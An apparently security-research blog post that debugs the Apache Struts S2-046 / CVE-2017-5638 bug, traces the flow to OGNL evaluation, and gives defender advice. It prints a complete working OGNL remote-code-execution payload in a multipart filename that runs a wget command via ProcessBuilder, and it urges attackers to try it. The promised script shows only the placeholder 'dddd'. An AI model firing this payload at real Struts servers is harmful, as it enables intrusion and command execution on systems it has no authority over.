Rebujacker Offensive Security and AppSec

Struts S2-046(CVE-2017-5638) internals,PoC and 'testcode'. The Equifax Bug.

2017-10-12
Alvaro Folgado (@rebujacker)

Introduction

This is the second post within the category: “CVEReproduction”. This time I will be studying the nature of one of the last more impactful bugs that have made quite noise: S2-046/CVE-2017-5638.

Although there are tons of PoC and exploits already online, and this is not a very recent bug, I was finding quite interesting to analyse it from a source code point of view. This bug is the ‘supposed’ to have been used in the last hack into Equifax. So this maybe will increase the interest to understand it, to attack or to defend web apps.

Debugging the Struts framework and their dependencies

This PoC has been created using maven software. As easy as running the following command,you could create a simple project:

mvn archetype:generate

You can choose a lot of archetypes. I used ‘struts 2.3.30 blank’ and added a personal struts.xml,Upload.java and some jsp view files (inside PoC folder). Special attention to the struts.xml where we point to use “jakarta-stream” to handle upload of files:


<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="struts.enable.DynamicMethodInvocation" value="false"/>
    <constant name="struts.multipart.parser" value="jakarta-stream" />
    <constant name="struts.devMode" value="true"/>

[...]

I opened the created project with netbeans and configure the maven actions to proceed with Java debugging (don’t forget to download sources/javadoc of dependencies like struts itself).

By having the source code from dependencies we are able to set breakpoints on them. This will be really useful to debug Java bugs that are been originated in frameworks or 3PP libraries. Following the description from both apache struts (S2-046) and cve.mitre (CVE-2017-5638), I could understand that the bug is happening in “JakartaStreamMultiPartRequest”. Let’s look at the java source code:

/struts-2.3.30/src/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaStreamMultiPartRequest.java:


    [...]
    private void processUpload(HttpServletRequest request, String saveDir)
            throws Exception {

        // Sanity check that the request is a multi-part/form-data request.
        if (ServletFileUpload.isMultipartContent(request)) {

            // Sanity check on request size.
            boolean requestSizePermitted = isRequestSizePermitted(request);

            // Interface with Commons FileUpload API
            // Using the Streaming API
            ServletFileUpload servletFileUpload = new ServletFileUpload();
            FileItemIterator i = servletFileUpload.getItemIterator(request);

        [...]
                    // Delegate the file item stream for a file field to the
                    // file item stream handler, but delegation is skipped
                    // if the requestSizePermitted check failed based on the
                    // complete content-size of the request.
                    else {

                        // prevent processing file field item if request size not allowed.
                        // also warn user in the logs.
                        if (!requestSizePermitted) {
                            addFileSkippedError(itemStream.getName(), request);
                            LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                            continue;
                        }

                        processFileItemStreamAsFileField(itemStream, saveDir);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

A breakpoint in ‘processUpload’ method looks promising. So let’s set that breakpoint and prepare burp to replay requests(remember to disable content-length autoadjust). Using burp I can replay some basic payload to the target PoC:

POST /VulnerableApp/thiscouldnotmatter HTTP/1.1
Host: localhost:8080
Content-Length: 1000000000
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://localhost:8080/doUpload
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close

------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{payload}"
Content-Type: text/plain


foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--

The first breakpoint hit in the following image:

First Breakpoint

I had entered in the JakartaStream, the file where different disclosures documents pointed the vulnerability. The continuation of the the running web app flow will lead to the first key condition for a working payload:

“requestSizePermitted” is checking the content-length value. A great number will trigger an error with “addFileSkippedError” method. You can see that a “LOG.warn” is being performed, but let’s get deep into this error building:

The error is being crafted using the “Filename” user-input. What could go wrong?

“buildErrorMessage” will call “LocalizedTextUtil.findText” method to continue with the error handling. The crafted error with the payload is passed inside the parameters.

Following the new “LocalizedTextUtil.java” class I could find another key method. Being the payload still inside the message variables…this method will call “TextParseUtil.java”:

The detection of OGNL expressions are performed just in the last image, this will trigger an execution flow till the main “OgnlUtil.java” class, where the execution of OGNL Java code is performed. As you can see, the payload is just in the “right” place to be for an Code Injection scenario:

The used payload is totally harmless and don’t let a researcher to detect a vulnerable app. To improve this, I used more complex existent OGNL expressions where OS commands could be performed.

This following payload will make a request using wget to a target server. By running any server software that logs access requests we could realize if the app is vulnerable:

POST /VulnerableApp/thiscouldnotmatter HTTP/1.1
Host: localhost:8080
Content-Length: 279000000
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://localhost:8080/doUpload
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close

------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget 127.0.0.1/tested').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--

Looking at the loopback server access log,for example, I can see a successful execution of the payload.

The same trick in Struts 2.5.13. How is this already fixed?

This bug is not new, it have been found by skilful researchers and reported to Struts itself time ago. They made a fix that I have debugged in the last stable version 2.5.13:

This time, “builderrorMessage” is now inside a class “AbstractMultiPartRequest.java”. Inside this method any evaluation of code is being performed,so it is safe.

My ‘Testcode’ :)

I have tried to automate the previous test by using some python script. The following script receive a URL to target a Struts application and another to a remote server to receive a request that will be logged in an access log. This will work formerly in a linux host with wget installed. Example of use:

dddd

Conclusions

As an Attacker, if you suspect the target application is made using struts framework you should try this payload. You don’t need in first instance a valid PATH,although some error filtering or special crafted checks will need a more precise request. Also remember that there is a different version of this same bug: S2-045 that attacks other headers to trigger an error (like content-type). This could be useful if target app is performing some kind of header filtering to block request or other techniques before hitting JakartaStreamMultiPartRequest inside struts framework.

As a Defender, first of all, update the framework to his last version. Second, we cannot avoid someone pwn us with an 0day (or 90day…) found on a 3pp library, but we can make it more difficult to the attacker to exploit it. By Checking correct formats on headers requests, the correct content of the data received, etc. Basically don’t trust 100% in your framework software or any 3PP software. Perform manual checks before pass any input data to some code you don’t trust, this could save the day.

References

Special thanks to pwntester, for the payload and useful PoC.

Pwntester Github

Thanks to this already created Testcode for content-type bug (s2-045).

EDB-ID: 41570


Comments

Content